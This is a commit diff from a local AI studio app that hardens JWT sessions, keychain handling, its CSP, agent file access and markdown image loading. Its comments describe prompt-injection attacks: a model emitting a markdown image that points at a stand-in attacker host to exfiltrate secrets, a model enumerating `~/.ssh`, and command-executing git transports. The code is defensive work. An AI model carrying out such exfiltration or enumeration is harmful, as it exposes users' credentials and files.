Skip to content

The all-in-one local AI studio for your desktop: chat, image and video generation and a coding agent in one free, open source app. Windows and Linux. No Docker, no terminal, no cloud required.

fix(security): 2.5.7 review — bridge session cap, agent jail, CSP pin, keychain gate

purple88d5aac23223
diff --git a/src-tauri/Cargo.toml b/src-tauri/Cargo.toml
index 591903b2..ed4dd32b 100644
--- a/src-tauri/Cargo.toml
+++ b/src-tauri/Cargo.toml
@@ -5,6 +5,13 @@ description = "Private, local AI chat & image/video generation"
authors = ["purpledoubled"]
edition = "2021"
+[features]
+# Test-only: let LU_NO_KEYCHAIN / ~/.lu-no-keychain bypass the OS keychain during
+# unattended rebuild→open E2E loops. NEVER enabled in a shipped build (not in any
+# default), so a release binary always uses the OS vault regardless of env vars or
+# marker files. Build test artifacts with: tauri build --features insecure-test-keychain
+insecure-test-keychain = []
+
[build-dependencies]
tauri-build = { version = "2", features = [] }
diff --git a/src-tauri/src/commands/install.rs b/src-tauri/src/commands/install.rs
index e1dc5fbe..e911b7f8 100644
--- a/src-tauri/src/commands/install.rs
+++ b/src-tauri/src/commands/install.rs
@@ -2643,6 +2643,33 @@ fn install_custom_node_blocking(
) -> Result<serde_json::Value, String> {
let repo_url = repoUrl;
let node_name = nodeName;
+
+ // Security review 2.5.7: this clones `repo_url` and joins `node_name` under
+ // custom_nodes/. Every in-app caller passes a hardcoded registry entry, so
+ // these are trusted today — but a single renderer foothold could call the
+ // command with a hostile value, so validate defensively. Reject anything that
+ // isn't a plain https:// URL: git's `ext::`/`file::`/`ssh` transports execute
+ // commands, and a leading `-` would be parsed as a git flag. Reject any path
+ // syntax in `node_name` (`/`, `\`, `..`, `:`, leading `-`/`.`) — an absolute
+ // or `..` component makes `custom_nodes_dir.join(node_name)` escape the dir.
+ if !repo_url.starts_with("https://")
+ || repo_url.len() > 512
+ || repo_url.contains(|c: char| c.is_whitespace() || c.is_control())
+ {
+ return Err("Refusing to install: repository URL must be a plain https:// URL.".to_string());
+ }
+ if node_name.is_empty()
+ || node_name.len() > 128
+ || node_name.contains('/')
+ || node_name.contains('\\')
+ || node_name.contains("..")
+ || node_name.contains(':')
+ || node_name.starts_with('-')
+ || node_name.starts_with('.')
+ {
+ return Err("Refusing to install: invalid custom-node name.".to_string());
+ }
+
info!(node = %node_name, "custom node install start");
let comfy_dir = match comfy_path {
diff --git a/src-tauri/src/commands/remote.rs b/src-tauri/src/commands/remote.rs
index d260f336..e9f735ba 100644
--- a/src-tauri/src/commands/remote.rs
+++ b/src-tauri/src/commands/remote.rs
@@ -33,6 +33,11 @@ const CREATE_NO_WINDOW: u32 = 0x08000000;
// (separate) lifetime, so this only widens the one-time pairing window.
const PASSCODE_TTL_SECS: u64 = 900;
const JWT_TTL_SECS: u64 = 60 * 60; // 1 hour — how long an authenticated session lasts
+// #73/security-review 2.5.7: hard ceiling on how long a session may keep sliding
+// itself alive. After this (measured from the token's issued-at, which is copied
+// unchanged across refreshes), the sliding refresh stops and the device must
+// re-pair — so a leaked bearer token can't be renewed forever.
+const MAX_SESSION_SECS: u64 = 24 * 60 * 60; // 24 hours
const MAX_FAILED_ATTEMPTS: u32 = 3;
const COOLDOWN_SECS: u64 = 60;
@@ -107,6 +112,13 @@ struct Claims {
sub: String,
ip: String,
exp: usize,
+ /// Session start (unix secs). Set once at pairing and COPIED UNCHANGED into
+ /// every sliding refresh, so the server can cap total session age regardless
+ /// of how many times the token was renewed. `serde(default)` = a pre-upgrade
+ /// token without this claim decodes with iat 0 → treated as past the cap →
+ /// stops sliding and re-pairs, instead of failing to decode.
+ #[serde(default)]
+ iat: usize,
}
fn generate_passcode() -> String {
@@ -115,13 +127,14 @@ fn generate_passcode() -> String {
format!("{:06}", rng.gen_range(0..1000000))
}
-fn generate_jwt(secret: &str, ip: &str, sub: &str) -> Result<String, String> {
+fn generate_jwt(secret: &str, ip: &str, sub: &str, iat: u64) -> Result<String, String> {
use jsonwebtoken::{encode, Header, EncodingKey};
let exp = chrono_now_secs() + JWT_TTL_SECS;
let claims = Claims {
sub: sub.to_string(),
ip: ip.to_string(),
exp: exp as usize,
+ iat: iat as usize,
};
encode(&Header::default(), &claims, &EncodingKey::from_secret(secret.as_bytes()))
.map_err(|e| e.to_string())
@@ -248,19 +261,35 @@ async fn auth_middleware(
// the JS client, Set-Cookie for /comfyui asset loads). An idle
// token still dies after the full TTL and needs re-pairing —
// deliberate on this surface; only USE keeps a session alive.
- let refreshed = if should_refresh_jwt(claims.exp as u64, chrono_now_secs(), JWT_TTL_SECS) {
- generate_jwt(&jwt_secret, &claims.ip, &claims.sub).ok()
- } else {
- None
- };
- drop(jwt_secret);
- // Update last_seen for this device
- {
+ // #73 revocation (security-review 2.5.7): only honor the token while
+ // its device is still in the connected list. Disconnect removes the
+ // row and a server restart clears the in-memory list, so BOTH now
+ // truly end the session — previously a valid token kept working (and
+ // kept sliding) even after Disconnect, so a leaked token was
+ // effectively unrevocable short of restarting the whole server.
+ let device_known = {
let mut devices = state.connected_devices.lock().await;
if let Some(dev) = devices.iter_mut().find(|d| d.id == claims.sub) {
dev.last_seen = chrono_now_secs();
+ true
+ } else {
+ false
}
+ };
+ if !device_known {
+ drop(jwt_secret);
+ return (StatusCode::UNAUTHORIZED, "Session ended — re-pair from the desktop.")
+ .into_response();
}
+ // #73 sliding refresh, now bounded: renew a past-half-life token only
+ // while the session (from the unchanging `iat`) is under MAX_SESSION,
+ // and carry `iat` forward unchanged so the cap actually bites.
+ let refreshed = if should_slide_session(claims.iat as u64, claims.exp as u64, chrono_now_secs()) {
+ generate_jwt(&jwt_secret, &claims.ip, &claims.sub, claims.iat as u64).ok()
+ } else {
+ None
+ };
+ drop(jwt_secret);
let mut response = next.run(req).await;
if let Some(fresh) = refreshed {
let cookie = format!(
@@ -288,6 +317,15 @@ fn should_refresh_jwt(exp: u64, now: u64, ttl_secs: u64) -> bool {
exp > now && exp.saturating_sub(now) < ttl_secs / 2
}
+/// #73/security-review 2.5.7: the full sliding-refresh decision. Renew only when
+/// the token is past half-life AND the session (measured from the unchanging
+/// `iat`) is still under the hard MAX_SESSION_SECS cap — so an active session
+/// renews smoothly, but a captured token can't be kept alive past the cap. Pure
+/// so it is unit-testable.
+fn should_slide_session(iat: u64, exp: u64, now: u64) -> bool {
+ now.saturating_sub(iat) < MAX_SESSION_SECS && should_refresh_jwt(exp, now, JWT_TTL_SECS)
+}
+
// ─── Route handlers ───
#[derive(Deserialize)]
@@ -368,7 +406,10 @@ async fn handle_auth(
let device_id = format!("dev-{}-{:x}", chrono_now_secs(), rand::random::<u64>());
let jwt_secret = state.jwt_secret.lock().await;
- match generate_jwt(&jwt_secret, &ip, &device_id) {
+ // `now` (captured at the top of handle_auth) is the pairing time — the
+ // session start. It seeds `iat` and is copied unchanged into every later
+ // refresh so MAX_SESSION_SECS is measured from here, not from the last renew.
+ match generate_jwt(&jwt_secret, &ip, &device_id, now) {
Ok(token) => {
drop(jwt_secret);
// Dedup by IP: if this IP is already registered (reauth, refresh,
@@ -4666,7 +4707,10 @@ async fn mobile_monogram() -> Response {
#[cfg(test)]
mod jwt_refresh_tests {
- use super::{generate_jwt, validate_jwt, should_refresh_jwt, JWT_TTL_SECS};
+ use super::{
+ generate_jwt, validate_jwt, should_refresh_jwt, should_slide_session, JWT_TTL_SECS,
+ MAX_SESSION_SECS,
+ };
// #73 (ossobucco): sliding-session decision boundaries.
#[test]
@@ -4684,18 +4728,42 @@ mod jwt_refresh_tests {
assert!(!should_refresh_jwt(now, now, ttl));
}
+ // Security-review 2.5.7: the sliding refresh must STOP at the session cap so
+ // a leaked token can't be renewed forever.
+ #[test]
+ fn slide_stops_past_max_session() {
+ let iat = 1_000_000u64;
+ // A token past half-life, early in the session → slides.
+ let now_early = iat + 100;
+ let exp_soon = now_early + JWT_TTL_SECS / 2 - 1;
+ assert!(should_slide_session(iat, exp_soon, now_early));
+ // Same past-half-life token, but the session is now past the cap → no slide,
+ // even though should_refresh_jwt alone would still say yes.
+ let now_late = iat + MAX_SESSION_SECS + 1;
+ let exp_late = now_late + JWT_TTL_SECS / 2 - 1;
+ assert!(should_refresh_jwt(exp_late, now_late, JWT_TTL_SECS));
+ assert!(!should_slide_session(iat, exp_late, now_late));
+ // Exactly at the cap boundary → no slide.
+ let now_cap = iat + MAX_SESSION_SECS;
+ assert!(!should_slide_session(iat, now_cap + JWT_TTL_SECS / 2 - 1, now_cap));
+ }
+
#[test]
- fn refreshed_jwt_roundtrips_with_same_identity() {
+ fn refreshed_jwt_roundtrips_with_same_identity_and_iat() {
let secret = "test-secret";
- let tok = generate_jwt(secret, "1.2.3.4", "device-1").unwrap();
+ let session_start = 1_700_000_000u64;
+ let tok = generate_jwt(secret, "1.2.3.4", "device-1", session_start).unwrap();
let claims = validate_jwt(secret, &tok).unwrap();
assert_eq!(claims.sub, "device-1");
assert_eq!(claims.ip, "1.2.3.4");
- // A refresh mints a token for the SAME identity that validates again
- let fresh = generate_jwt(secret, &claims.ip, &claims.sub).unwrap();
+ assert_eq!(claims.iat as u64, session_start);
+ // A refresh mints a token for the SAME identity, carrying iat UNCHANGED
+ // (so the session cap is measured from the original pairing, not the renew).
+ let fresh = generate_jwt(secret, &claims.ip, &claims.sub, claims.iat as u64).unwrap();
let fresh_claims = validate_jwt(secret, &fresh).unwrap();
assert_eq!(fresh_claims.sub, "device-1");
assert_eq!(fresh_claims.ip, "1.2.3.4");
+ assert_eq!(fresh_claims.iat as u64, session_start);
assert!(fresh_claims.exp >= claims.exp);
}
}
diff --git a/src-tauri/src/commands/secret.rs b/src-tauri/src/commands/secret.rs
index 2aa0cfb9..ce0ba2b3 100644
--- a/src-tauri/src/commands/secret.rs
+++ b/src-tauri/src/commands/secret.rs
@@ -154,22 +154,34 @@ mod chunked {
/// rebuild→open test loops. When `LU_NO_KEYCHAIN` is set (env var, or a
/// `~/.lu-no-keychain` marker file), the secret commands report the keychain as
/// unavailable; the frontend adapters (supabase.ts session, providerStore keys)
-/// then latch to their localStorage path and never touch the keychain, so no
-/// password prompt appears. A shipped build never triggers this — nothing
-/// creates the marker and no installer sets the env var.
+/// then latch to their localStorage path and never touch the keychain.
+///
+/// SECURITY (review 2.5.7): this bypass is gated behind the `insecure-test-keychain`
+/// Cargo feature, which is NOT in any default and is never enabled in a shipped
+/// build. In a release binary the whole env/marker check compiles out to `false`,
+/// so a same-user process cannot drop `~/.lu-no-keychain` (or set the env var) to
+/// silently downgrade the Supabase session + provider keys to plaintext
+/// localStorage. Only builds made with `--features insecure-test-keychain` honor it.
#[cfg(any(target_os = "windows", target_os = "macos"))]
fn keychain_disabled() -> bool {
- if let Some(v) = std::env::var_os("LU_NO_KEYCHAIN") {
- if !v.is_empty() {
- return true;
- }
+ #[cfg(not(feature = "insecure-test-keychain"))]
+ {
+ false
}
- if let Some(home) = std::env::var_os("HOME") {
- if std::path::Path::new(&home).join(".lu-no-keychain").exists() {
- return true;
+ #[cfg(feature = "insecure-test-keychain")]
+ {
+ if let Some(v) = std::env::var_os("LU_NO_KEYCHAIN") {
+ if !v.is_empty() {
+ return true;
+ }
+ }
+ if let Some(home) = std::env::var_os("HOME") {
+ if std::path::Path::new(&home).join(".lu-no-keychain").exists() {
+ return true;
+ }
}
+ false
}
- false
}
#[cfg(any(target_os = "windows", target_os = "macos"))]
diff --git a/src-tauri/tauri.conf.json b/src-tauri/tauri.conf.json
index ce7f5731..fa2a500a 100644
--- a/src-tauri/tauri.conf.json
+++ b/src-tauri/tauri.conf.json
@@ -24,7 +24,7 @@
}
],
"security": {
- "csp": "default-src 'self' http://ipc.localhost; connect-src 'self' http://ipc.localhost http://tauri.localhost http://localhost:* http://127.0.0.1:* https://lu-labs.ai https://*.supabase.co https://civitai.com https://*.civitai.com https://huggingface.co https://*.huggingface.co https://ollama.com https://openrouter.ai https://api.openai.com https://api.groq.com https://api.together.xyz https://api.deepseek.com https://api.mistral.ai https://api.anthropic.com ws://localhost:* ws://127.0.0.1:*; img-src 'self' data: blob: http://localhost:* http://127.0.0.1:* https://*.supabase.co https://*.civitai.com https://*.githubusercontent.com; media-src 'self' blob: http://localhost:* http://127.0.0.1:* https://*.supabase.co https://lu-labs.ai; font-src 'self' data:; style-src 'self' 'unsafe-inline'; script-src 'self' 'wasm-unsafe-eval'"
+ "csp": "default-src 'self' http://ipc.localhost; connect-src 'self' http://ipc.localhost http://tauri.localhost http://localhost:* http://127.0.0.1:* https://lu-labs.ai https://lrrhheztdytyfpizvuup.supabase.co https://civitai.com https://*.civitai.com https://huggingface.co https://*.huggingface.co https://ollama.com https://openrouter.ai https://api.openai.com https://api.groq.com https://api.together.xyz https://api.deepseek.com https://api.mistral.ai https://api.anthropic.com ws://localhost:* ws://127.0.0.1:*; img-src 'self' data: blob: http://localhost:* http://127.0.0.1:* https://lrrhheztdytyfpizvuup.supabase.co https://*.civitai.com https://*.githubusercontent.com; media-src 'self' blob: http://localhost:* http://127.0.0.1:* https://lrrhheztdytyfpizvuup.supabase.co https://lu-labs.ai; font-src 'self' data:; style-src 'self' 'unsafe-inline'; script-src 'self' 'wasm-unsafe-eval'"
}
},
"plugins": {
diff --git a/src/api/__tests__/csp-cloud-hosts.test.ts b/src/api/__tests__/csp-cloud-hosts.test.ts
index dc58cdad..09108036 100644
--- a/src/api/__tests__/csp-cloud-hosts.test.ts
+++ b/src/api/__tests__/csp-cloud-hosts.test.ts
@@ -41,4 +41,13 @@ describe('CSP connect-src cloud provider hosts (GH #71)', () => {
expect(connectSrc).toContain('https://huggingface.co')
expect(connectSrc).toContain('https://ollama.com')
})
+
+ // Security review 2.5.7: a `*.supabase.co` wildcard authorizes EVERY Supabase
+ // project on the internet, turning img-src/media-src into an attacker-readable
+ // exfil sink (anyone can provision a free <ref>.supabase.co and read its
+ // request logs). Pin the one project the app actually talks to.
+ it('pins the Supabase project host and never re-widens to a wildcard', () => {
+ expect(csp).not.toContain('*.supabase.co')
+ expect(connectSrc).toContain('https://lrrhheztdytyfpizvuup.supabase.co')
+ })
})
diff --git a/src/api/mcp/builtin-tools.ts b/src/api/mcp/builtin-tools.ts
index 92e275d1..70b1f057 100644
--- a/src/api/mcp/builtin-tools.ts
+++ b/src/api/mcp/builtin-tools.ts
@@ -716,15 +716,14 @@ async function executeFileList(args: Record<string, any>): Promise<string> {
path: args.path,
recursive: args.recursive || false,
pattern: args.pattern || null,
+ // NOTE: the model does NOT get to pick the jail root. `workingDirectory`
+ // comes only from chatCtx() (the active, user-chosen workspace). The
+ // file-tree UI browser needs to list arbitrary picked folders, so it calls
+ // the `fs_list` backend command DIRECTLY (FileTree.tsx) instead of through
+ // this model tool. Security review 2.5.7: passing the model's own
+ // `workingDirectory` through here let a prompt-injected model set
+ // `workingDirectory: "C:/Users/<user>/.ssh"` and enumerate any directory.
...chatCtx(),
- // The file-tree browser (FileTree.tsx) points the picker at an arbitrary
- // folder and lists it as its OWN root. Pass that through so the Rust
- // containment jail uses the picked folder instead of the per-chat sandbox
- // — otherwise selecting any folder outside ~/agent-workspace fails with
- // "path escapes the allowed workspace". Overrides chatCtx()'s stale value.
- ...(typeof args.workingDirectory === 'string' && args.workingDirectory.trim()
- ? { workingDirectory: args.workingDirectory }
- : {}),
})
if (Array.isArray(data.entries)) {
return data.entries
diff --git a/src/api/providers/lu-cloud-provider.ts b/src/api/providers/lu-cloud-provider.ts
index 60316e0c..748403db 100644
--- a/src/api/providers/lu-cloud-provider.ts
+++ b/src/api/providers/lu-cloud-provider.ts
@@ -14,6 +14,7 @@ import type {
import { ProviderError } from './types'
import { OpenAIProvider } from './openai-provider'
import { getAccessToken } from '../cloud/supabase'
+import { CLOUD_BASE } from '../cloud/config'
export class LuCloudProvider implements ProviderClient {
readonly id = 'lu-cloud' as const
@@ -39,7 +40,15 @@ export class LuCloudProvider implements ProviderClient {
if (!token) {
throw new ProviderError('Sign in to your LU Cloud account to chat in the cloud.', 'lu-cloud', 'auth', 401)
}
- return new OpenAIProvider({ ...this.config, apiKey: token, isLocal: false })
+ // Hard-pin the endpoint at call time. The Supabase access token is a live
+ // bearer; if we trusted `this.config.baseUrl` a tampered provider store could
+ // repoint it at an attacker host and leak the token (security review 2.5.7).
+ return new OpenAIProvider({
+ ...this.config,
+ baseUrl: `${CLOUD_BASE}/api/inference/v1`,
+ apiKey: token,
+ isLocal: false,
+ })
}
async *chatStream(
diff --git a/src/components/chat/FileTree.tsx b/src/components/chat/FileTree.tsx
index 4dc2c03c..5c9fa767 100644
--- a/src/components/chat/FileTree.tsx
+++ b/src/components/chat/FileTree.tsx
@@ -1,8 +1,7 @@
import { useState, useEffect, useRef } from 'react'
import { FolderOpen, Folder, FileText, ArrowLeft, RefreshCw } from 'lucide-react'
import { useCodexStore } from '../../stores/codexStore'
-import { toolRegistry } from '../../api/mcp'
-import { isTauri } from '../../api/backend'
+import { isTauri, backendCall } from '../../api/backend'
import type { FileTreeNode } from '../../types/codex'
export function FileTree() {
@@ -19,20 +18,22 @@ export function FileTree() {
setLoading(true)
setError(null)
try {
- // List the picked folder as its OWN workspace root so the Rust
- // containment jail accepts it. Without workingDirectory the list is
- // checked against the stale per-chat sandbox and every folder outside
- // ~/agent-workspace fails with "path escapes the allowed workspace".
- const result = await toolRegistry.execute('file_list', { path: dir, workingDirectory: dir })
- const lines = result.split('\n').filter(Boolean)
- const nodes: FileTreeNode[] = lines.map(line => {
- const isDir = line.startsWith('[DIR]')
- const parts = line.replace('[DIR] ', '').split(' ')
- const nameSize = parts[0]?.trim() || ''
- const path = parts[1]?.trim() || ''
- const name = nameSize.split(' (')[0]?.trim() || ''
- return { name, path, isDirectory: isDir }
- }).filter(n => n.name)
+ // The tree browser lists the picked folder as its OWN workspace root so
+ // the Rust containment jail accepts it. This is a UI browse — go STRAIGHT
+ // to the backend, NOT through the model's `file_list` tool executor, so a
+ // model-supplied `workingDirectory` can never pick its own jail root
+ // (security review 2.5.7: that passthrough let a prompt-injected model
+ // enumerate any directory on disk).
+ const data = await backendCall('fs_list', {
+ path: dir,
+ recursive: false,
+ pattern: null,
+ workingDirectory: dir,
+ })
+ const entries: any[] = Array.isArray(data?.entries) ? data.entries : []
+ const nodes: FileTreeNode[] = entries
+ .map((e) => ({ name: e.name as string, path: e.path as string, isDirectory: !!e.isDir }))
+ .filter((n) => n.name)
setFileTree(nodes)
setWorkingDirectory(dir)
diff --git a/src/components/chat/MarkdownRenderer.tsx b/src/components/chat/MarkdownRenderer.tsx
index 040e89ca..4ac861e7 100644
--- a/src/components/chat/MarkdownRenderer.tsx
+++ b/src/components/chat/MarkdownRenderer.tsx
@@ -11,6 +11,31 @@ interface Props {
content: string
}
+// Assistant output can embed images via markdown `![](url)`. Auto-loading an
+// arbitrary remote URL turns the renderer into a data-exfil beacon — a model
+// (or a poisoned doc/tool-result it summarizes) emits
+// `![](https://attacker.example/track?d=<secret>)` and the webview fires the GET
+// on render, no script needed. So only auto-load from hosts we already trust
+// (the same set the CSP img-src pins); anything else becomes a click-to-open
+// link instead of a silent fetch. Belt-and-suspenders with the pinned CSP.
+function isTrustedImageSrc(src: string): boolean {
+ if (src.startsWith('data:image/')) return true
+ if (src.startsWith('blob:')) return true
+ let u: URL
+ try {
+ u = new URL(src)
+ } catch {
+ return false
+ }
+ if (u.protocol !== 'https:' && u.protocol !== 'http:') return false
+ const h = u.hostname.toLowerCase()
+ if (h === 'localhost' || h === '127.0.0.1') return true // local engine previews
+ if (h === 'lrrhheztdytyfpizvuup.supabase.co') return true // LU cloud storage
+ if (h === 'civitai.com' || h.endsWith('.civitai.com')) return true
+ if (h.endsWith('.githubusercontent.com')) return true
+ return false
+}
+
const components: Components = {
code({ className, children, ...props }) {
const match = /language-(\w+)/.exec(className || '')
@@ -74,6 +99,22 @@ const components: Components = {
</button>
)
},
+ img({ src, alt }) {
+ const s = typeof src === 'string' ? src : ''
+ if (s && isTrustedImageSrc(s)) {
+ return <img src={s} alt={alt ?? ''} loading="lazy" className="max-w-full rounded-md my-2" />
+ }
+ // Untrusted host — do not silently fetch. Offer an explicit click instead.
+ return (
+ <button
+ onClick={(e) => { e.preventDefault(); if (s) openExternal(s) }}
+ className="text-blue-600 dark:text-blue-400 hover:underline cursor-pointer inline"
+ title={s}
+ >
+ 🖼 {alt || 'image'} (click to open)
+ </button>
+ )
+ },
}
export function MarkdownRenderer({ content }: Props) {
diff --git a/src/hooks/useCodex.ts b/src/hooks/useCodex.ts
index 247c677d..ad8e83a7 100644
--- a/src/hooks/useCodex.ts
+++ b/src/hooks/useCodex.ts
@@ -1226,7 +1226,15 @@ export function useCodex() {
// arbitrary-exec tools for an explicit confirm — the mitigation for a
// prompt-injected model auto-running shell/code. window.confirm works
// in this Tauri webview (the app uses it elsewhere, e.g. Gallery).
- awaitApproval: settings.codexConfirmShell
+ //
+ // Security review 2.5.7: ALWAYS confirm when the driving model is the
+ // CLOUD provider, regardless of the setting. A remote/semi-trusted model
+ // (or a compromised/MITM'd cloud endpoint) reaching unattended local
+ // shell is a materially bigger blast radius than a local model the user
+ // deliberately trusts — and a "Cloud"-mode user rarely expects the
+ // remote model to run commands on their box. Local models keep the
+ // unattended default; only the cloud path is force-gated.
+ awaitApproval: (settings.codexConfirmShell || providerId === 'lu-cloud')
? async (req) => {
if (!CODEX_CONFIRM_TOOLS.has(req.toolName)) return true
const a = req.args || {}
diff --git a/src/lib/render/safety.ts b/src/lib/render/safety.ts
index d501a7e2..4b44aae9 100644
--- a/src/lib/render/safety.ts
+++ b/src/lib/render/safety.ts
@@ -82,34 +82,9 @@ export function checkPromptSafety(text: string): SafetyVerdict {
export const SAFETY_BLOCK_MESSAGE =
'This prompt was blocked: content sexualizing minors is never generated, on any backend.'
-/**
- * Out-of-band alert on a CSAM block so it is not just a log line nobody tails.
- * Posts to SAFETY_ALERT_WEBHOOK_URL if set (Slack/PagerDuty/etc.). Deliberately
- * carries NO prompt content — only the user id, the match reason, and a
- * timestamp — so the alert channel never becomes a store of blocked text.
- * Fire-and-forget: never throws, never blocks the request path.
- */
-export async function alertCsamBlock(meta: {
- userId: string
- reason?: string
- kind?: string
-}): Promise<void> {
- const url = process.env.SAFETY_ALERT_WEBHOOK_URL
- if (!url) return
- try {
- await fetch(url, {
- method: 'POST',
- headers: { 'content-type': 'application/json' },
- body: JSON.stringify({
- event: 'csam_blocked',
- user_id: meta.userId,
- reason: meta.reason ?? 'unknown',
- kind: meta.kind ?? 'unknown',
- at: new Date().toISOString(),
- note: 'A generation prompt was refused by the AI-CSAM gate. Review for 18 U.S.C. § 2258A reporting.',
- }),
- })
- } catch {
- // Alerting must never break the block itself — the 422 + log already stand.
- }
-}
+// NOTE: the operator-facing CSAM alert (out-of-band webhook POST) lives in the
+// SERVER, not here. It was previously exported from this client lib but never
+// imported — and `process.env` is undefined in WebView2, so it was inert dead
+// code. Removed in the 2.5.7 security pass: an escalation/alerting path has no
+// business shipping in the desktop bundle. The client's job ends at
+// `checkPromptSafety` (the local gate) + the 422 the server returns.